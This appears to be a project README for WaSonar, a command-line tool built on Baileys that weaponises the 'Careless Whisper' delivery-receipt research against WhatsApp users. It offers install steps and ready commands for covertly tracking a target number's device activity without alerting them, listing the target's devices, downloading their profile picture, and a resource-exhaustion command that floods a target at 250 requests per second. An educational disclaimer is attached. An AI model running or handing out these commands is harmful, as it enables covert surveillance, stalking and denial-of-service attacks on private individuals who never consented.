
WhatsApp Intelligence & Resource Exhaustion Tool. Features real-time device tracking, silent RTT probing, and protocol stress testing for security research.
Disclaimer: This tool is for educational purposes and security research only. The developers are not responsible for misuse. Please use responsibly and ethically.
WaSonar is a powerful CLI tool designed for educational research, device tracking, and stress testing on the WhatsApp protocol. Built on top of Baileys.
npm install -g wasonar-cli
npx wasonar-cli <command>
git clone https://github.com/AjayAntoIsDev/wasonar.git
cd wasonar
npm install
First, you need to authenticate with a WhatsApp account.
wasonar-cli login
Scan the QR code that appears in your terminal.
List all devices connected to a target number.
wasonar-cli devices <target-number>
# Example:
wasonar-cli devices 919876543210
The core feature. Send silent probes to detect if devices are online and measure latency.
# Probe infinite times (default)
wasonar-cli online 919876543210
# Send specific number of probes
wasonar-cli online 919876543210 --probes 5
# Save results to file
wasonar-cli online 919876543210 --output ./logs
Note: PENDING/OFFLINE means the server received the message, but the target device did not acknowledge receipt.
Get the user's profile picture and status.
# Display info and download profile picture
wasonar-cli profile 919876543210 --output ./profiles
⚠️ FOR EDUCATIONAL USE ONLY. Send high-frequency oversized payloads.
# Aggressive mode (Default: 250 req/s, 1KB payload)
wasonar-cli exhaust 919876543210
# Slow mode (10 req/s, 500B payload)
wasonar-cli exhaust 919876543210 --aggression slow
# Set duration
wasonar-cli exhaust 919876543210 --duration 30
WaSonar uses "Silent Delete Probes" to detect online status without alerting the target.
revoked (delete) message for a non-existent message ID.delivery_receipt (status 3) for the protocol message.Based on the "Careless Whisper" research, this attack exploits the validation gap in WhatsApp's reaction handling.
Although reactions are not displayed on the target's phone if invalid, they are still received and processed.
Research data indicates significant potential for resource exhaustion:
Based on research by Gegenhuber et al., University of Vienna & SBA Research:
@inproceedings{gegenhuber2024careless,
title={Careless Whisper: Exploiting Silent Delivery Receipts to Monitor Users on Mobile Instant Messengers},
author={Gegenhuber, Gabriel K. and G{\"u}nther, Maximilian and Maier, Markus and Judmayer, Aljosha and Holzbauer, Florian and Frenzel, Philipp {\'E}. and Ullrich, Johanna},
year={2024},
organization={University of Vienna, SBA Research}
}
Created by AjayAnto